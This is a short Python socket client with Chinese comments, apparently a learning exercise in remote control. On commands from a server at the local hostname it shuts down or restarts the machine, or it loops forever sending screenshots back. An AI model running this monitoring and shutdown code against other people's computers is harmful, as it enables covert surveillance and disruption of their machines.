from socket import *
import os
from PIL import ImageGrab
# 准备一个
s = socket()
# IP地址
# IP = ''
IP = gethostname()
# 端口
port = 8888
# 连接
s.connect((IP, port))
# 一次最多接收1024个字节
srd = s.recv(1024).decode()
print(srd)

# 接收
choise = s.recv(1024).decode()
# 关机
if choise == '1':
    s.send('ok'.encode())
    os.system('shutdown -s -t 60')
# 重启
if choise == '2':
    s.send('ok'.encode())
    os.system('shutdown -r -t 60')
# 监视
elif choise == '3':
    while True:
        # 截图
        img = ImageGrab.grab()
        # 改变大小
        img.resize((960, 540))
        # 保存
        img.save('11.jpg')
        # 获取图片大小
        size = os.path.getsize('11.jpg')
        # 发送图片大小
        s.send(str(size).encode())
        # 接收收到了图片大小确认
        s.recv(1024)
        # 发送图片
        with open('11.jpg', 'rb') as file:
            for line in file:
                s.send(line)
        # 接收收到了图片
        s.recv(1024)












# 分身
# import threading
# def fs(s):
#     print('上面代码')
# # 开分身
# threading.Thread(target=fs, args=(s,)).start()

























